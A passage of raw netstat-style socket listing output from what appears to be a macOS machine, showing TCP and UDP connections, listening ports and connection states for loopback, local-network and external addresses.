104.17.185.205.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.63650 104.17.185.205.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.63597 172.217.117.4.443 ESTABLISHED\ntcp4 0 0 10.30.20.200.63595 10.30.20.186.11434 ESTABLISHED\ntcp4 0 0 10.5.0.2.63580 172.217.114.4.443 ESTABLISHED\ntcp4 0 0 10.30.20.200.63578 10.30.20.186.11434 ESTABLISHED\ntcp4 0 0 10.5.0.2.63564 172.217.114.4.443 ESTABLISHED\ntcp4 0 0 127.0.0.1.56417 127.0.0.1.63468 ESTABLISHED\ntcp4 0 0 127.0.0.1.63468 127.0.0.1.56417 ESTABLISHED\ntcp6 0 0 ::1.11434 ::1.63457 ESTABLISHED\ntcp6 0 0 ::1.63457 ::1.11434 ESTABLISHED\ntcp4 0 0 10.5.0.2.63446 23.46.228.7.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.63417 198.137.150.221.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.63392 3.173.21.63.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.63322 54.187.159.182.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.63321 198.202.176.231.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.63229 160.79.104.10.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.63053 149.154.166.110.443 CLOSE_WAIT \ntcp4 0 0 10.30.20.200.62857 10.30.20.186.11434 ESTABLISHED\ntcp4 0 0 10.30.20.200.62773 10.30.20.186.11434 ESTABLISHED\ntcp4 0 0 10.30.20.200.62673 10.30.20.186.11434 ESTABLISHED\ntcp4 0 0 10.30.20.200.62573 10.30.20.186.11434 ESTABLISHED\ntcp6 0 0 ::1.11434 ::1.62492 ESTABLISHED\ntcp6 0 0 ::1.62492 ::1.11434 ESTABLISHED\ntcp4 0 0 10.30.20.200.62446 10.30.20.186.11434 ESTABLISHED\ntcp4 0 0 10.30.20.200.61872 10.30.20.186.11434 ESTABLISHED\ntcp4 0 0 127.0.0.1.5099 127.0.0.1.61697 ESTABLISHED\ntcp4 0 0 127.0.0.1.61697 127.0.0.1.5099 ESTABLISHED\ntcp4 0 0 10.5.0.2.61684 172.217.114.4.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.61478 3.173.21.63.443 CLOSE_WAIT \ntcp4 0 0 10.5.0.2.60721 34.54.84.110.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.60175 172.217.118.4.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.60124 172.217.118.4.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.59967 142.250.107.108.993 ESTABLISHED\ntcp4 0 0 127.0.0.1.59945 *.* LISTEN \ntcp4 0 0 *.5099 *.* LISTEN \ntcp4 0 0 10.5.0.2.56528 104.18.39.21.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.55139 18.97.36.2.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.53676 52.96.164.194.443 ESTABLISHED\ntcp4 0 0 10.30.20.200.54330 10.30.20.153.49949 ESTABLISHED\ntcp4 0 0 10.30.20.200.53393 10.30.20.125.8883 ESTABLISHED\ntcp4 0 0 10.5.0.2.53303 34.54.84.110.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.53247 18.97.36.23.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.53215 18.97.36.2.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.53199 54.185.138.159.8883 ESTABLISHED\ntcp4 0 0 10.5.0.2.53082 160.79.104.10.443 ESTABLISHED\ntcp4 0 0 10.30.20.200.52981 10.30.20.189.3128 CLOSE_WAIT \ntcp4 0 0 10.5.0.2.52841 184.169.251.5.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.52740 104.17.185.205.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.52733 149.154.166.110.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.52715 172.67.218.248.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.52700 192.178.163.109.993 ESTABLISHED\ntcp4 0 0 10.5.0.2.52620 149.154.175.54.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.52593 192.178.163.108.993 ESTABLISHED\ntcp4 0 0 10.5.0.2.52522 52.96.166.82.443 ESTABLISHED\ntcp4 0 0 127.0.0.1.52433 127.0.0.1.52507 ESTABLISHED\ntcp4 0 0 127.0.0.1.52507 127.0.0.1.52433 ESTABLISHED\ntcp4 0 0 10.5.0.2.52506 17.57.152.35.993 ESTABLISHED\ntcp4 0 0 10.5.0.2.52498 17.253.31.137.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.52487 17.57.152.35.993 ESTABLISHED\ntcp4 0 0 10.5.0.2.52486 18.208.91.13.8883 ESTABLISHED\ntcp4 0 0 10.5.0.2.52485 17.57.144.183.5223 ESTABLISHED\ntcp4 0 0 10.30.20.200.52431 149.154.175.54.443 ESTABLISHED\ntcp4 0 0 10.30.20.200.52266 10.30.20.189.3128 CLOSE_WAIT \ntcp4 0 0 10.30.20.200.51771 10.30.20.186.11434 ESTABLISHED\ntcp4 0 0 127.0.0.1.11434 127.0.0.1.65232 ESTABLISHED\ntcp4 0 0 127.0.0.1.65232 127.0.0.1.11434 ESTABLISHED\ntcp4 0 0 10.30.20.200.64414 140.82.113.26.443 ESTABLISHED\ntcp6 24 0 2601:601:8601:6b.56871 2606:4700:20::68.443 CLOSE_WAIT \ntcp4 0 0 10.30.20.200.55681 10.30.20.189.3128 ESTABLISHED\ntcp4 0 0 10.30.20.200.55658 10.30.20.189.3128 ESTABLISHED\ntcp4 0 0 10.30.20.200.56759 104.17.185.205.443 ESTABLISHED\ntcp4 0 0 10.30.20.200.51342 10.30.20.204.443 ESTABLISHED\ntcp4 0 0 10.30.20.200.49652 52.85.129.68.443 ESTABLISHED\ntcp4 0 0 10.30.20.200.49520 52.85.129.68.443 ESTABLISHED\ntcp4 0 0 10.30.20.200.65372 10.30.20.189.3128 ESTABLISHED\ntcp4 0 0 10.30.20.200.65313 10.30.20.71.3128 ESTABLISHED\ntcp4 0 0 10.30.20.200.65309 10.30.20.154.3128 ESTABLISHED\ntcp4 24 0 10.30.20.200.64407 3.173.21.63.443 CLOSE_WAIT \ntcp4 0 0 10.30.20.200.63789 10.30.20.71.3128 ESTABLISHED\ntcp6 0 0 ::1.5173 ::1.57090 ESTABLISHED\ntcp6 0 0 ::1.57090 ::1.5173 ESTABLISHED\ntcp4 0 0 10.30.20.200.53574 10.30.20.154.3128 ESTABLISHED\ntcp4 0 0 127.0.0.1.9224 *.* LISTEN \ntcp4 0 0 127.0.0.1.9223 *.* LISTEN \ntcp4 0 0 10.30.20.200.50375 10.30.20.154.3128 ESTABLISHED\ntcp4 0 0 127.0.0.1.8789 127.0.0.1.50297 ESTABLISHED\ntcp4 0 0 127.0.0.1.50297 127.0.0.1.8789 ESTABLISHED\ntcp4 0 0 127.0.0.1.8789 *.* LISTEN \ntcp4 0 0 10.30.20.200.50193 10.30.20.61.8123 ESTABLISHED\ntcp4 0 0 10.30.20.200.57921 10.30.20.186.11434 ESTABLISHED\ntcp4 0 0 127.0.0.1.52402 127.0.0.1.60459 ESTABLISHED\ntcp4 0 0 127.0.0.1.60459 127.0.0.1.52402 ESTABLISHED\ntcp4 0 0 127.0.0.1.59477 127.0.0.1.59513 ESTABLISHED\ntcp4 0 0 127.0.0.1.59513 127.0.0.1.59477 ESTABLISHED\ntcp4 0 0 127.0.0.1.59508 127.0.0.1.59512 ESTABLISHED\ntcp4 0 0 127.0.0.1.59512 127.0.0.1.59508 ESTABLISHED\ntcp4 0 0 127.0.0.1.59508 *.* LISTEN \ntcp4 0 0 127.0.0.1.59449 127.0.0.1.59486 ESTABLISHED\ntcp4 0 0 127.0.0.1.59486 127.0.0.1.59449 ESTABLISHED\ntcp4 0 0 127.0.0.1.59449 127.0.0.1.59485 ESTABLISHED\ntcp4 0 0 127.0.0.1.59485 127.0.0.1.59449 ESTABLISHED\ntcp4 0 0 127.0.0.1.59449 127.0.0.1.59484 ESTABLISHED\ntcp4 0 0 127.0.0.1.59484 127.0.0.1.59449 ESTABLISHED\ntcp4 0 0 127.0.0.1.59449 127.0.0.1.59483 ESTABLISHED\ntcp4 0 0 127.0.0.1.59483 127.0.0.1.59449 ESTABLISHED\ntcp4 0 0 127.0.0.1.59478 *.* LISTEN \ntcp4 0 0 127.0.0.1.59477 *.* LISTEN \ntcp4 0 0 127.0.0.1.52402 127.0.0.1.59462 ESTABLISHED\ntcp4 0 0 127.0.0.1.59462 127.0.0.1.52402 ESTABLISHED\ntcp4 0 0 127.0.0.1.59449 *.* LISTEN \ntcp4 0 0 *.5050 *.* LISTEN \ntcp4 0 0 10.30.20.200.52413 52.85.129.68.443 ESTABLISHED\ntcp4 0 0 10.30.20.200.55123 52.85.129.68.443 ESTABLISHED\ntcp4 0 0 10.30.20.200.52181 10.30.20.85.8006 ESTABLISHED\ntcp4 0 0 *.5053 *.* LISTEN \ntcp4 0 0 10.30.20.200.64862 10.30.20.61.8123 ESTABLISHED\ntcp4 0 0 127.0.0.1.56417 *.* LISTEN \ntcp4 0 0 127.0.0.1.52433 127.0.0.1.52457 ESTABLISHED\ntcp4 0 0 127.0.0.1.52457 127.0.0.1.52433 ESTABLISHED\ntcp4 0 0 127.0.0.1.52402 127.0.0.1.52453 ESTABLISHED\ntcp4 0 0 127.0.0.1.52453 127.0.0.1.52402 ESTABLISHED\ntcp4 0 0 127.0.0.1.52402 127.0.0.1.52444 ESTABLISHED\ntcp4 0 0 127.0.0.1.52444 127.0.0.1.52402 ESTABLISHED\ntcp4 0 0 127.0.0.1.52402 127.0.0.1.52440 ESTABLISHED\ntcp4 0 0 127.0.0.1.52440 127.0.0.1.52402 ESTABLISHED\ntcp4 0 0 127.0.0.1.52402 127.0.0.1.52439 ESTABLISHED\ntcp4 0 0 127.0.0.1.52439 127.0.0.1.52402 ESTABLISHED\ntcp4 0 0 127.0.0.1.52402 127.0.0.1.52438 ESTABLISHED\ntcp4 0 0 127.0.0.1.52438 127.0.0.1.52402 ESTABLISHED\ntcp4 0 0 127.0.0.1.52434 *.* LISTEN \ntcp4 0 0 127.0.0.1.52433 *.* LISTEN \ntcp4 0 0 127.0.0.1.52403 *.* LISTEN \ntcp4 0 0 127.0.0.1.52402 *.* LISTEN \ntcp6 0 0 ::1.5173 *.* LISTEN \ntcp4 0 0 127.0.0.1.8765 127.0.0.1.64473 ESTABLISHED\ntcp4 0 0 127.0.0.1.64473 127.0.0.1.8765 ESTABLISHED\ntcp4 0 0 127.0.0.1.8765 *.* LISTEN \ntcp4 0 0 127.0.0.1.8766 *.* LISTEN \ntcp4 0 0 10.30.20.200.53188 10.30.20.41.49153 ESTABLISHED\ntcp4 0 0 127.0.0.1.5037 *.* LISTEN \ntcp4 0 0 10.30.20.200.56163 10.30.20.32.22 ESTABLISHED\ntcp4 0 0 10.30.20.200.49449 10.30.20.32.22 ESTABLISHED\ntcp4 0 0 *.5052 *.* LISTEN \ntcp4 0 0 127.0.0.1.5051 *.* LISTEN \ntcp4 0 0 *.3000 *.* LISTEN \ntcp46 0 0 *.5151 *.* LISTEN \ntcp4 0 0 127.0.0.1.9050 *.* LISTEN \ntcp46 0 0 *.11434 *.* LISTEN \ntcp4 0 0 127.0.0.1.50044 *.* LISTEN \ntcp6 0 0 *.54330 *.* LISTEN \ntcp4 0 0 *.54330 *.* LISTEN \ntcp4 0 0 127.0.0.1.8021 *.* LISTEN \ntcp6 0 0 ::1.8021 *.* LISTEN \ntcp4 0 0 127.0.0.1.5175 *.* LISTEN \ntcp4 0 0 10.5.0.2.49305 142.250.107.108.993 FIN_WAIT_1 \ntcp4 0 0 10.5.0.2.65178 142.250.99.108.993 FIN_WAIT_1 \ntcp4 0 0 10.5.0.2.59147 142.250.107.108.993 LAST_ACK \ntcp4 0 0 *.42069 *.* LISTEN \ntcp4 0 0 127.0.0.1.9177 *.* LISTEN \ntcp4 0 0 127.0.0.1.52184 *.* LISTEN \ntcp4 0 0 127.0.0.1.52183 *.* LISTEN \ntcp4 0 0 127.0.0.1.52182 *.* LISTEN \ntcp46 0 0 *.53 *.* LISTEN \ntcp4 0 0 127.0.0.1.52247 127.0.0.1.52258 ESTABLISHED\ntcp4 0 0 127.0.0.1.52258 127.0.0.1.52247 ESTABLISHED\ntcp4 0 0 127.0.0.1.52247 *.* LISTEN \ntcp46 0 0 *.61833 *.* LISTEN \ntcp4 0 0 127.0.0.1.8765 127.0.0.1.63418 TIME_WAIT \ntcp4 0 0 10.30.20.200.63411 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63416 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63399 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 127.0.0.1.63400 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 127.0.0.1.8766 127.0.0.1.63428 TIME_WAIT \ntcp4 0 0 10.30.20.200.63420 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63402 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 10.30.20.200.63421 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63425 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63423 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63426 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63427 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63414 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 127.0.0.1.63415 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 10.30.20.200.63430 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63432 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63431 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63437 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63438 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63435 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63443 127.0.0.1.8789 TIME_WAIT \ntcp4 0 0 10.30.20.200.63439 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63442 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63441 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63440 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63449 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.8765 127.0.0.1.63462 TIME_WAIT \ntcp4 0 0 127.0.0.1.63459 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 10.30.20.200.63445 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63451 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63453 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63455 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63454 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.56417 127.0.0.1.63465 TIME_WAIT \ntcp4 0 0 127.0.0.1.56417 127.0.0.1.63466 TIME_WAIT \ntcp4 0 0 127.0.0.1.56417 127.0.0.1.63467 TIME_WAIT \ntcp4 0 0 127.0.0.1.63460 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 10.5.0.2.63469 104.17.186.205.443 TIME_WAIT \ntcp4 0 0 10.5.0.2.63464 52.85.129.59.443 TIME_WAIT \ntcp4 0 0 127.0.0.1.63471 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63473 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63475 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63477 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63481 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63483 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63485 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63487 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 10.30.20.200.63456 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.8766 127.0.0.1.63491 TIME_WAIT \ntcp4 0 0 10.30.20.200.63463 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63489 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63492 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63480 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63490 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63494 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63496 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63497 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63500 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63504 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63501 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63502 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63498 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63511 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63515 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63513 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63519 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63518 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63461 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 10.30.20.200.63516 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.56417 127.0.0.1.63524 TIME_WAIT \ntcp4 0 0 127.0.0.1.56417 127.0.0.1.63525 TIME_WAIT \ntcp4 0 0 127.0.0.1.8765 127.0.0.1.63526 TIME_WAIT \ntcp4 0 0 10.30.20.200.63520 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63505 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 127.0.0.1.63506 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 127.0.0.1.8766 127.0.0.1.63536 TIME_WAIT \ntcp4 0 0 10.30.20.200.63533 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63507 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 127.0.0.1.63508 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 10.30.20.200.63529 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63530 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63532 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63534 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.56417 127.0.0.1.63545 TIME_WAIT \ntcp4 0 0 127.0.0.1.56417 127.0.0.1.63546 TIME_WAIT \ntcp4 0 0 10.5.0.2.63540 52.85.129.59.443 TIME_WAIT \ntcp4 0 0 10.5.0.2.63547 104.17.186.205.443 TIME_WAIT \ntcp4 0 0 127.0.0.1.63538 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63521 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 127.0.0.1.63522 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 10.30.20.200.63541 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63543 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63539 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63544 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63549 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63550 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63551 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63552 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63554 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63555 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.8765 127.0.0.1.63565 TIME_WAIT \ntcp4 0 0 10.30.20.200.63557 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63559 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63558 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63560 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63563 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.8766 127.0.0.1.63568 TIME_WAIT \ntcp4 0 0 10.30.20.200.63567 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63566 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63570 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63575 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 10.5.0.2.63579 52.85.129.59.443 TIME_WAIT \ntcp4 0 0 10.5.0.2.63581 104.17.186.205.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63572 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63577 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63573 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63582 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63594 127.0.0.1.8789 TIME_WAIT \ntcp4 0 0 10.30.20.200.63583 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63587 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63589 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63584 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63593 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63596 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63561 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 127.0.0.1.8765 127.0.0.1.63610 TIME_WAIT \ntcp4 0 0 10.30.20.200.63598 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63605 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 10.30.20.200.63603 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63606 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 10.5.0.2.63611 52.85.129.59.443 TIME_WAIT \ntcp4 0 0 10.5.0.2.63614 104.17.186.205.443 TIME_WAIT \ntcp4 0 0 127.0.0.1.63617 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63619 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63621 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63623 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63625 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63627 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63629 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.63631 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 127.0.0.1.8766 127.0.0.1.63632 TIME_WAIT \ntcp4 0 0 127.0.0.1.63585 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 127.0.0.1.63588 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 10.30.20.200.63612 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63591 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 127.0.0.1.63592 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 10.30.20.200.63613 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63608 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63609 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63615 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63634 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63635 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63599 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 127.0.0.1.63600 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 127.0.0.1.63638 127.0.0.1.5053 TIME_WAIT \ntcp4 0 0 10.5.0.2.63644 104.17.186.205.443 TIME_WAIT \ntcp4 0 0 10.5.0.2.63643 52.85.129.59.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63639 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63642 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63641 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63640 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63646 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63647 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63648 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63653 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.8765 127.0.0.1.63661 TIME_WAIT \ntcp4 0 0 10.30.20.200.63656 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63658 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63654 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63655 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63659 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.8766 127.0.0.1.63665 TIME_WAIT \ntcp4 0 0 10.30.20.200.63664 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63666 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63669 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63668 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63694 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63670 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63671 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63695 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63696 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63699 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63700 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63684 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63701 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63704 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63705 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63707 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63710 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63713 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63714 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63715 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63697 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63716 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63719 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63720 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63722 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63703 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63723 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63693 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63724 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63725 10.30.20.140.443 TIME_WAIT \ntcp4 0 0 10.30.20.200.63706 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63717 10.30.20.71.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63718 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 10.30.20.200.63721 10.30.20.189.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.63660 127.0.0.1.9224 TIME_WAIT \ntcp4 0 0 10.30.20.200.63726 10.30.20.154.3128 TIME_WAIT \ntcp4 0 0 127.0.0.1.8765 127.0.0.1.63735 TIME_WAIT \ntcp4 0 0 10.30.20.200.63728 10.30.20.154.3128 TIME_WAIT \nudp4 0 0 10.5.0.2.57566 172.67.218.248.443 \nudp4 0 0 10.5.0.2.58118 142.250.107.100.443 \nudp4 0 0 *.5353 *.* \nudp4 0 0 *.5353 *.* \nudp46 0 0 